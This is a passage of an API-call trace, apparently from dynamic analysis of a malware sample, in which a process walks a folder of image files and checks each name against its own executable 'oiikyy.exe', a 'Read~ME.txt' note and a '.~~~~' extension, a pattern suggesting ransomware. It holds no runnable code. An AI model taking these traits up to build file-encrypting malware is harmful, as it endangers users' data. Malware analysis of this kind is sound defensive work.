	[0084.330] StrStrW (lpFirst="J0099199.GIF", lpSrch=".~~~~") returned 0x0
	[0084.330] lstrcmpW (lpString1="J0099199.GIF", lpString2="Read~ME.txt") returned -1
	[0084.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.330] GetCurrentThreadId () returned 0x618
	[0084.331] RtlWakeConditionVariable () returned 0x365f48
	[0084.331] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1
	[0084.331] lstrcmpiW (lpString1="J0099200.GIF", lpString2="Windows") returned -1
	[0084.331] lstrcmpW (lpString1="J0099200.GIF", lpString2="oiikyy.exe") returned -1
	[0084.331] StrStrW (lpFirst="J0099200.GIF", lpSrch=".~~~~") returned 0x0
	[0084.331] lstrcmpW (lpString1="J0099200.GIF", lpString2="Read~ME.txt") returned -1
	[0084.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.331] GetCurrentThreadId () returned 0x618
	[0084.331] RtlWakeConditionVariable () returned 0x365f48
	[0084.331] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1
	[0084.331] lstrcmpiW (lpString1="J0099201.GIF", lpString2="Windows") returned -1
	[0084.331] lstrcmpW (lpString1="J0099201.GIF", lpString2="oiikyy.exe") returned -1
	[0084.331] StrStrW (lpFirst="J0099201.GIF", lpSrch=".~~~~") returned 0x0
	[0084.331] lstrcmpW (lpString1="J0099201.GIF", lpString2="Read~ME.txt") returned -1
	[0084.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.331] GetCurrentThreadId () returned 0x618
	[0084.331] RtlWakeConditionVariable () returned 0x365f48
	[0084.331] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1
	[0084.331] lstrcmpiW (lpString1="J0099202.GIF", lpString2="Windows") returned -1
	[0084.331] lstrcmpW (lpString1="J0099202.GIF", lpString2="oiikyy.exe") returned -1
	[0084.331] StrStrW (lpFirst="J0099202.GIF", lpSrch=".~~~~") returned 0x0
	[0084.331] lstrcmpW (lpString1="J0099202.GIF", lpString2="Read~ME.txt") returned -1
	[0084.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.331] GetCurrentThreadId () returned 0x618
	[0084.332] RtlWakeConditionVariable () returned 0x365f48
	[0084.332] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1
	[0084.332] lstrcmpiW (lpString1="J0099203.GIF", lpString2="Windows") returned -1
	[0084.332] lstrcmpW (lpString1="J0099203.GIF", lpString2="oiikyy.exe") returned -1
	[0084.332] StrStrW (lpFirst="J0099203.GIF", lpSrch=".~~~~") returned 0x0
	[0084.332] lstrcmpW (lpString1="J0099203.GIF", lpString2="Read~ME.txt") returned -1
	[0084.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.332] GetCurrentThreadId () returned 0x618
	[0084.332] RtlWakeConditionVariable () returned 0x365f48
	[0084.332] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1
	[0084.332] lstrcmpiW (lpString1="J0099204.WMF", lpString2="Windows") returned -1
	[0084.332] lstrcmpW (lpString1="J0099204.WMF", lpString2="oiikyy.exe") returned -1
	[0084.332] StrStrW (lpFirst="J0099204.WMF", lpSrch=".~~~~") returned 0x0
	[0084.332] lstrcmpW (lpString1="J0099204.WMF", lpString2="Read~ME.txt") returned -1
	[0084.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.332] GetCurrentThreadId () returned 0x618
	[0084.332] RtlWakeConditionVariable () returned 0x365f48
	[0084.332] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1
	[0084.333] lstrcmpiW (lpString1="J0099205.WMF", lpString2="Windows") returned -1
	[0084.333] lstrcmpW (lpString1="J0099205.WMF", lpString2="oiikyy.exe") returned -1
	[0084.333] StrStrW (lpFirst="J0099205.WMF", lpSrch=".~~~~") returned 0x0
	[0084.333] lstrcmpW (lpString1="J0099205.WMF", lpString2="Read~ME.txt") returned -1
	[0084.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.333] GetCurrentThreadId () returned 0x618
	[0084.333] RtlWakeConditionVariable () returned 0x365f48
	[0084.333] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1
	[0084.333] lstrcmpiW (lpString1="J0101856.BMP", lpString2="Windows") returned -1
	[0084.333] lstrcmpW (lpString1="J0101856.BMP", lpString2="oiikyy.exe") returned -1
	[0084.333] StrStrW (lpFirst="J0101856.BMP", lpSrch=".~~~~") returned 0x0
	[0084.333] lstrcmpW (lpString1="J0101856.BMP", lpString2="Read~ME.txt") returned -1
	[0084.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.333] GetCurrentThreadId () returned 0x618
	[0084.333] RtlWakeConditionVariable () returned 0x365f48
	[0084.333] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1
	[0084.333] lstrcmpiW (lpString1="J0101857.BMP", lpString2="Windows") returned -1
	[0084.333] lstrcmpW (lpString1="J0101857.BMP", lpString2="oiikyy.exe") returned -1
	[0084.333] StrStrW (lpFirst="J0101857.BMP", lpSrch=".~~~~") returned 0x0
	[0084.333] lstrcmpW (lpString1="J0101857.BMP", lpString2="Read~ME.txt") returned -1
	[0084.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.334] GetCurrentThreadId () returned 0x618
	[0084.334] RtlWakeConditionVariable () returned 0x365f48
	[0084.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1
	[0084.334] lstrcmpiW (lpString1="J0101858.BMP", lpString2="Windows") returned -1
	[0084.334] lstrcmpW (lpString1="J0101858.BMP", lpString2="oiikyy.exe") returned -1
	[0084.334] StrStrW (lpFirst="J0101858.BMP", lpSrch=".~~~~") returned 0x0
	[0084.334] lstrcmpW (lpString1="J0101858.BMP", lpString2="Read~ME.txt") returned -1
	[0084.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.334] GetCurrentThreadId () returned 0x618
	[0084.334] RtlWakeConditionVariable () returned 0x365f48
	[0084.334] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1
	[0084.334] lstrcmpiW (lpString1="J0101859.BMP", lpString2="Windows") returned -1
	[0084.334] lstrcmpW (lpString1="J0101859.BMP", lpString2="oiikyy.exe") returned -1
	[0084.334] StrStrW (lpFirst="J0101859.BMP", lpSrch=".~~~~") returned 0x0
	[0084.334] lstrcmpW (lpString1="J0101859.BMP", lpString2="Read~ME.txt") returned -1
	[0084.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.334] GetCurrentThreadId () returned 0x618
	[0084.335] RtlWakeConditionVariable () returned 0x365f48
	[0084.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1
	[0084.335] lstrcmpiW (lpString1="J0101860.BMP", lpString2="Windows") returned -1
	[0084.335] lstrcmpW (lpString1="J0101860.BMP", lpString2="oiikyy.exe") returned -1
	[0084.335] StrStrW (lpFirst="J0101860.BMP", lpSrch=".~~~~") returned 0x0
	[0084.335] lstrcmpW (lpString1="J0101860.BMP", lpString2="Read~ME.txt") returned -1
	[0084.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.335] GetCurrentThreadId () returned 0x618
	[0084.335] RtlWakeConditionVariable () returned 0x365f48
	[0084.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1
	[0084.335] lstrcmpiW (lpString1="J0101861.BMP", lpString2="Windows") returned -1
	[0084.335] lstrcmpW (lpString1="J0101861.BMP", lpString2="oiikyy.exe") returned -1
	[0084.335] StrStrW (lpFirst="J0101861.BMP", lpSrch=".~~~~") returned 0x0
	[0084.335] lstrcmpW (lpString1="J0101861.BMP", lpString2="Read~ME.txt") returned -1
	[0084.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.335] GetCurrentThreadId () returned 0x618
	[0084.335] RtlWakeConditionVariable () returned 0x365f48
	[0084.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1
	[0084.335] lstrcmpiW (lpString1="J0101862.BMP", lpString2="Windows") returned -1
	[0084.335] lstrcmpW (lpString1="J0101862.BMP", lpString2="oiikyy.exe") returned -1
	[0084.335] StrStrW (lpFirst="J0101862.BMP", lpSrch=".~~~~") returned 0x0
	[0084.336] lstrcmpW (lpString1="J0101862.BMP", lpString2="Read~ME.txt") returned -1
	[0084.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.336] GetCurrentThreadId () returned 0x618
	[0084.336] RtlWakeConditionVariable () returned 0x365f48
	[0084.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1
	[0084.336] lstrcmpiW (lpString1="J0101863.BMP", lpString2="Windows") returned -1
	[0084.336] lstrcmpW (lpString1="J0101863.BMP", lpString2="oiikyy.exe") returned -1
	[0084.336] StrStrW (lpFirst="J0101863.BMP", lpSrch=".~~~~") returned 0x0
	[0084.336] lstrcmpW (lpString1="J0101863.BMP", lpString2="Read~ME.txt") returned -1
	[0084.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.336] GetCurrentThreadId () returned 0x618
	[0084.336] RtlWakeConditionVariable () returned 0x365f48
	[0084.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1
	[0084.336] lstrcmpiW (lpString1="J0101864.BMP", lpString2="Windows") returned -1
	[0084.336] lstrcmpW (lpString1="J0101864.BMP", lpString2="oiikyy.exe") returned -1
	[0084.336] StrStrW (lpFirst="J0101864.BMP", lpSrch=".~~~~") returned 0x0
	[0084.336] lstrcmpW (lpString1="J0101864.BMP", lpString2="Read~ME.txt") returned -1
	[0084.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.336] GetCurrentThreadId () returned 0x618
	[0084.336] RtlWakeConditionVariable () returned 0x365f48
	[0084.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1
	[0084.337] lstrcmpiW (lpString1="J0101865.BMP", lpString2="Windows") returned -1
	[0084.337] lstrcmpW (lpString1="J0101865.BMP", lpString2="oiikyy.exe") returned -1
	[0084.337] StrStrW (lpFirst="J0101865.BMP", lpSrch=".~~~~") returned 0x0
	[0084.337] lstrcmpW (lpString1="J0101865.BMP", lpString2="Read~ME.txt") returned -1
	[0084.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.337] GetCurrentThreadId () returned 0x618
	[0084.337] RtlWakeConditionVariable () returned 0x365f48
	[0084.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1
	[0084.337] lstrcmpiW (lpString1="J0101866.BMP", lpString2="Windows") returned -1
	[0084.337] lstrcmpW (lpString1="J0101866.BMP", lpString2="oiikyy.exe") returned -1
	[0084.337] StrStrW (lpFirst="J0101866.BMP", lpSrch=".~~~~") returned 0x0
	[0084.337] lstrcmpW (lpString1="J0101866.BMP", lpString2="Read~ME.txt") returned -1
	[0084.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.337] GetCurrentThreadId () returned 0x618
	[0084.337] RtlWakeConditionVariable () returned 0x365f48
	[0084.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1
	[0084.337] lstrcmpiW (lpString1="J0101867.BMP", lpString2="Windows") returned -1
	[0084.337] lstrcmpW (lpString1="J0101867.BMP", lpString2="oiikyy.exe") returned -1
	[0084.338] StrStrW (lpFirst="J0101867.BMP", lpSrch=".~~~~") returned 0x0
	[0084.338] lstrcmpW (lpString1="J0101867.BMP", lpString2="Read~ME.txt") returned -1
	[0084.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.338] GetCurrentThreadId () returned 0x618
	[0084.338] RtlWakeConditionVariable () returned 0x365f48
	[0084.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1
	[0084.342] lstrcmpiW (lpString1="J0101980.WMF", lpString2="Windows") returned -1
	[0084.342] lstrcmpW (lpString1="J0101980.WMF", lpString2="oiikyy.exe") returned -1
	[0084.342] StrStrW (lpFirst="J0101980.WMF", lpSrch=".~~~~") returned 0x0
	[0084.342] lstrcmpW (lpString1="J0101980.WMF", lpString2="Read~ME.txt") returned -1
	[0084.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.342] GetCurrentThreadId () returned 0x618
	[0084.342] RtlWakeConditionVariable () returned 0x365f48
	[0084.342] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1
	[0084.342] lstrcmpiW (lpString1="J0102002.WMF", lpString2="Windows") returned -1
	[0084.343] lstrcmpW (lpString1="J0102002.WMF", lpString2="oiikyy.exe") returned -1
	[0084.343] StrStrW (lpFirst="J0102002.WMF", lpSrch=".~~~~") returned 0x0
	[0084.343] lstrcmpW (lpString1="J0102002.WMF", lpString2="Read~ME.txt") returned -1
	[0084.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.343] GetCurrentThreadId () returned 0x618
	[0084.343] RtlWakeConditionVariable () returned 0x365f48
	[0084.343] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1
	[0084.343] lstrcmpiW (lpString1="J0102594.WMF", lpString2="Windows") returned -1
	[0084.343] lstrcmpW (lpString1="J0102594.WMF", lpString2="oiikyy.exe") returned -1
	[0084.343] StrStrW (lpFirst="J0102594.WMF", lpSrch=".~~~~") returned 0x0
	[0084.343] lstrcmpW (lpString1="J0102594.WMF", lpString2="Read~ME.txt") returned -1
	[0084.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.343] GetCurrentThreadId () returned 0x618
	[0084.343] RtlWakeConditionVariable () returned 0x365f48
	[0084.343] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1
	[0084.343] lstrcmpiW (lpString1="J0102762.WMF", lpString2="Windows") returned -1
	[0084.343] lstrcmpW (lpString1="J0102762.WMF", lpString2="oiikyy.exe") returned -1
	[0084.343] StrStrW (lpFirst="J0102762.WMF", lpSrch=".~~~~") returned 0x0
	[0084.343] lstrcmpW (lpString1="J0102762.WMF", lpString2="Read~ME.txt") returned -1
	[0084.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.343] GetCurrentThreadId () returned 0x618
	[0084.344] RtlWakeConditionVariable () returned 0x365f48
	[0084.344] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1
	[0084.344] lstrcmpiW (lpString1="J0102984.WMF", lpString2="Windows") returned -1
	[0084.344] lstrcmpW (lpString1="J0102984.WMF", lpString2="oiikyy.exe") returned -1
	[0084.344] StrStrW (lpFirst="J0102984.WMF", lpSrch=".~~~~") returned 0x0
	[0084.344] lstrcmpW (lpString1="J0102984.WMF", lpString2="Read~ME.txt") returned -1
	[0084.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.344] GetCurrentThreadId () returned 0x618
	[0084.344] RtlWakeConditionVariable () returned 0x365f48
	[0084.344] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1
	[0084.344] lstrcmpiW (lpString1="J0103058.WMF", lpString2="Windows") returned -1
	[0084.344] lstrcmpW (lpString1="J0103058.WMF", lpString2="oiikyy.exe") returned -1
	[0084.344] StrStrW (lpFirst="J0103058.WMF", lpSrch=".~~~~") returned 0x0
	[0084.344] lstrcmpW (lpString1="J0103058.WMF", lpString2="Read~ME.txt") returned -1
	[0084.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.344] GetCurrentThreadId () returned 0x618
	[0084.344] RtlWakeConditionVariable () returned 0x365f48
